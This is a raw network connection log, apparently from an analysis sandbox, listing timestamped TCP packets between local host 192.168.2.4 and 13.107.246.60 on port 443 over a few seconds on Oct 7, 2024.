Oct 7, 2024 03:04:10.282366037 CEST	443	49848	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:10.294486046 CEST	443	49846	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:10.295269966 CEST	443	49846	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:10.295337915 CEST	49846	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:10.295357943 CEST	443	49846	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:10.295447111 CEST	443	49846	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:10.295516014 CEST	49846	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:10.295547009 CEST	443	49846	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:10.295577049 CEST	49846	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:10.295577049 CEST	49846	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:10.295593977 CEST	443	49846	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:10.295613050 CEST	443	49846	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:10.297909975 CEST	49851	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:10.297940969 CEST	443	49851	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:10.298424006 CEST	49851	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:10.298553944 CEST	49851	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:10.298557997 CEST	443	49851	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:10.328207970 CEST	443	49847	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:10.328351021 CEST	443	49847	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:10.328799009 CEST	49847	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:10.328799009 CEST	49847	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:10.328799009 CEST	49847	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:10.331115961 CEST	49852	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:10.331213951 CEST	443	49852	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:10.331300974 CEST	49852	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:10.331444979 CEST	49852	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:10.331470013 CEST	443	49852	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:10.387171984 CEST	443	49848	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:10.387211084 CEST	443	49848	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:10.387257099 CEST	443	49848	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:10.387465000 CEST	49848	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:10.387820959 CEST	49848	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:10.387836933 CEST	443	49848	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:10.387845993 CEST	49848	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:10.387851000 CEST	443	49848	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:10.390413046 CEST	49853	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:10.390497923 CEST	443	49853	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:10.390614986 CEST	49853	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:10.390744925 CEST	49853	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:10.390778065 CEST	443	49853	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:10.516536951 CEST	443	49849	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:10.517466068 CEST	49849	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:10.517498016 CEST	443	49849	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:10.517831087 CEST	49849	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:10.517839909 CEST	443	49849	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:10.617253065 CEST	443	49849	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:10.617321968 CEST	443	49849	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:10.617752075 CEST	49849	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:10.617752075 CEST	49849	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:10.617753029 CEST	49849	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:10.620321989 CEST	49854	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:10.620408058 CEST	443	49854	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:10.620487928 CEST	49854	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:10.620672941 CEST	49854	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:10.620726109 CEST	443	49854	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:10.630429029 CEST	49847	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:10.630462885 CEST	443	49847	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:10.848345995 CEST	443	49850	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:10.848779917 CEST	49850	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:10.848809958 CEST	443	49850	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:10.849433899 CEST	49850	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:10.849442005 CEST	443	49850	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:10.927176952 CEST	49849	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:10.927200079 CEST	443	49849	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:10.948738098 CEST	443	49850	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:10.948796988 CEST	443	49850	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:10.948862076 CEST	49850	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:10.949060917 CEST	49850	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:10.949081898 CEST	443	49850	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:10.949096918 CEST	49850	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:10.949104071 CEST	443	49850	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:10.951491117 CEST	443	49851	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:10.951648951 CEST	49855	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:10.951725006 CEST	443	49855	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:10.951797009 CEST	49855	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:10.952002048 CEST	49851	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:10.952016115 CEST	443	49851	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:10.952559948 CEST	49851	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:10.952565908 CEST	443	49851	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:10.952745914 CEST	49855	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:10.952779055 CEST	443	49855	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:10.992955923 CEST	443	49852	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:10.993457079 CEST	49852	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:10.993484974 CEST	443	49852	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:10.994034052 CEST	49852	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:10.994045019 CEST	443	49852	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:11.051088095 CEST	443	49851	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:11.051291943 CEST	443	49851	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:11.051366091 CEST	49851	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:11.051532984 CEST	49851	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:11.051551104 CEST	443	49851	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:11.051561117 CEST	49851	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:11.051567078 CEST	443	49851	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:11.054337025 CEST	443	49853	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:11.054769993 CEST	49856	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:11.054796934 CEST	443	49856	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:11.054860115 CEST	49856	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:11.054903030 CEST	49853	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:11.054963112 CEST	443	49853	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:11.054966927 CEST	49856	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:11.054975033 CEST	443	49856	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:11.055432081 CEST	49853	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:11.055486917 CEST	443	49853	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:11.092591047 CEST	443	49852	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:11.092776060 CEST	443	49852	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:11.092834949 CEST	443	49852	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:11.092840910 CEST	49852	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:11.092890024 CEST	49852	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:11.092926979 CEST	49852	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:11.092957973 CEST	443	49852	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:11.092983961 CEST	49852	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:11.092999935 CEST	443	49852	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:11.095591068 CEST	49857	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:11.095634937 CEST	443	49857	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:11.095711946 CEST	49857	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:11.095849991 CEST	49857	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:11.095869064 CEST	443	49857	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:11.160052061 CEST	443	49853	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:11.160254002 CEST	443	49853	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:11.160330057 CEST	49853	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:11.160418034 CEST	49853	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:11.160418034 CEST	49853	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:11.160459995 CEST	443	49853	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:11.160487890 CEST	443	49853	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:11.163933992 CEST	49858	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:11.163975954 CEST	443	49858	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:11.164042950 CEST	49858	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:11.164171934 CEST	49858	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:11.164190054 CEST	443	49858	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:11.308440924 CEST	443	49854	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:11.308967113 CEST	49854	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:11.309027910 CEST	443	49854	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:11.309560061 CEST	49854	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:11.309573889 CEST	443	49854	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:11.617427111 CEST	443	49854	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:11.619955063 CEST	443	49854	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:11.620109081 CEST	49854	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:11.620110035 CEST	49854	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:11.620110035 CEST	49854	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:11.622737885 CEST	49859	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:11.622767925 CEST	443	49859	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:11.622834921 CEST	49859	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:11.622968912 CEST	49859	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:11.622973919 CEST	443	49859	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:11.691963911 CEST	443	49856	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:11.692466021 CEST	49856	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:11.692487001 CEST	443	49856	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:11.693082094 CEST	49856	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:11.693087101 CEST	443	49856	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:11.699544907 CEST	443	49855	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:11.700067043 CEST	49855	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:11.700134993 CEST	443	49855	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:11.700606108 CEST	49855	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:11.700639009 CEST	443	49855	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:11.738131046 CEST	443	49857	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:11.738698006 CEST	49857	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:11.738729000 CEST	443	49857	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:11.739353895 CEST	49857	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:11.739381075 CEST	443	49857	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:11.790146112 CEST	443	49856	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:11.790219069 CEST	443	49856	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:11.790316105 CEST	49856	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:11.790329933 CEST	443	49856	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:11.790390015 CEST	49856	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:11.790476084 CEST	49856	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:11.790476084 CEST	49856	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:11.790518999 CEST	443	49856	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:11.790549040 CEST	443	49856	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:11.793348074 CEST	49860	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:11.793407917 CEST	443	49860	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:11.793484926 CEST	49860	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:11.793654919 CEST	49860	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:11.793670893 CEST	443	49860	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:11.802498102 CEST	443	49858	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:11.802993059 CEST	49858	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:11.803037882 CEST	443	49858	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:11.803344011 CEST	49858	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:11.803373098 CEST	443	49858	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:11.804460049 CEST	443	49855	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:11.804521084 CEST	443	49855	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:11.804577112 CEST	49855	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:11.804721117 CEST	49855	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:11.804748058 CEST	443	49855	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:11.804773092 CEST	49855	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:11.804785013 CEST	443	49855	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:11.807079077 CEST	49861	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:11.807164907 CEST	443	49861	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:11.807264090 CEST	49861	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:11.807425022 CEST	49861	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:11.807461977 CEST	443	49861	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:11.842289925 CEST	443	49857	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:11.842442989 CEST	443	49857	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:11.842605114 CEST	49857	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:11.845873117 CEST	49857	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:11.845873117 CEST	49857	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:11.845906019 CEST	443	49857	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:11.845923901 CEST	443	49857	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:11.848961115 CEST	49862	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:11.849045038 CEST	443	49862	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:11.849154949 CEST	49862	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:11.849286079 CEST	49862	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:11.849322081 CEST	443	49862	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:11.901225090 CEST	443	49858	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:11.901292086 CEST	443	49858	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:11.901339054 CEST	49858	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:11.901472092 CEST	49858	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:11.901493073 CEST	443	49858	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:11.901505947 CEST	49858	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:11.901514053 CEST	443	49858	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:11.904409885 CEST	49863	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:11.904453993 CEST	443	49863	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:11.904529095 CEST	49863	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:11.904706001 CEST	49863	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:11.904733896 CEST	443	49863	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:11.927299976 CEST	49854	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:11.927364111 CEST	443	49854	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:12.264218092 CEST	443	49859	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:12.264785051 CEST	49859	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:12.264800072 CEST	443	49859	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:12.265391111 CEST	49859	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:12.265397072 CEST	443	49859	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:12.362350941 CEST	443	49859	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:12.362552881 CEST	443	49859	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:12.362643957 CEST	49859	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:12.362736940 CEST	49859	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:12.362736940 CEST	49859	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:12.362756968 CEST	443	49859	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:12.362766981 CEST	443	49859	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:12.365823030 CEST	49864	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:12.365906954 CEST	443	49864	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:12.366002083 CEST	49864	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:12.366142035 CEST	49864	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:12.366166115 CEST	443	49864	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:12.440445900 CEST	443	49861	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:12.441389084 CEST	49861	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:12.441447020 CEST	443	49861	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:12.442008018 CEST	49861	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:12.442022085 CEST	443	49861	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:12.472404003 CEST	443	49860	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:12.472876072 CEST	49860	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:12.472963095 CEST	443	49860	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:12.473176003 CEST	49860	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:12.473191023 CEST	443	49860	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:12.514741898 CEST	443	49862	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:12.518213034 CEST	49862	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:12.518273115 CEST	443	49862	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:12.518707991 CEST	49862	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:12.518723011 CEST	443	49862	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:12.543207884 CEST	443	49861	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:12.543276072 CEST	443	49861	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:12.543356895 CEST	49861	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:12.543569088 CEST	49861	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:12.543569088 CEST	49861	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:12.543612003 CEST	443	49861	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:12.543642044 CEST	443	49861	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:12.546720028 CEST	49865	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:12.546761036 CEST	443	49865	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:12.546840906 CEST	49865	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:12.547014952 CEST	49865	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:12.547030926 CEST	443	49865	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:12.613524914 CEST	443	49863	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:12.613838911 CEST	443	49860	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:12.613912106 CEST	443	49860	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:12.613962889 CEST	49863	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:12.614007950 CEST	443	49863	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:12.614017963 CEST	443	49860	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:12.614053965 CEST	49860	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:12.614090919 CEST	49860	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:12.614192009 CEST	49860	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:12.614224911 CEST	443	49860	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:12.614249945 CEST	49860	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:12.614259005 CEST	443	49860	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:12.614427090 CEST	49863	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:12.614432096 CEST	443	49863	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:12.616698027 CEST	49866	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:12.616731882 CEST	443	49866	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:12.616816044 CEST	49866	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:12.616915941 CEST	49866	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:12.616926908 CEST	443	49866	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:12.622129917 CEST	443	49862	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:12.622200966 CEST	443	49862	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:12.622252941 CEST	49862	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:12.622396946 CEST	49862	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:12.622414112 CEST	443	49862	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:12.622453928 CEST	49862	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:12.622468948 CEST	443	49862	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:12.624489069 CEST	49867	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:12.624572992 CEST	443	49867	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:12.624656916 CEST	49867	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:12.624772072 CEST	49867	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:12.624795914 CEST	443	49867	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:12.743941069 CEST	443	49863	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:12.744108915 CEST	443	49863	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:12.744209051 CEST	49863	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:12.744324923 CEST	49863	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:12.744350910 CEST	443	49863	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:12.744364977 CEST	49863	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:12.744371891 CEST	443	49863	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:12.747009039 CEST	49868	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:12.747040033 CEST	443	49868	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:12.747124910 CEST	49868	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:12.747265100 CEST	49868	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:12.747276068 CEST	443	49868	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:13.068156958 CEST	443	49864	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:13.070357084 CEST	49864	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:13.070389986 CEST	443	49864	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:13.070859909 CEST	49864	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:13.070867062 CEST	443	49864	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:13.165633917 CEST	443	49864	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:13.166435003 CEST	443	49864	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:13.166543961 CEST	443	49864	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:13.166769981 CEST	49864	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:13.166770935 CEST	49864	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:13.166770935 CEST	49864	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:13.169048071 CEST	49869	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:13.169099092 CEST	443	49869	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:13.170551062 CEST	49869	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:13.170674086 CEST	49869	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:13.170690060 CEST	443	49869	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:13.222461939 CEST	443	49865	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:13.222887993 CEST	49865	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:13.222910881 CEST	443	49865	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:13.223429918 CEST	49865	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:13.223438978 CEST	443	49865	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:13.312277079 CEST	443	49867	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:13.312850952 CEST	49867	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:13.312927008 CEST	443	49867	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:13.313263893 CEST	49867	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:13.313277960 CEST	443	49867	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:13.334116936 CEST	443	49865	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:13.335366964 CEST	443	49865	13.107.246.60	192.168.2.4
Oct 7, 2024 03:04:13.335458040 CEST	49865	443	192.168.2.4	13.107.246.60
Oct 7, 2024 03:04:13.335491896 CEST	49865	443	192.168.2.4	13.107.246.60
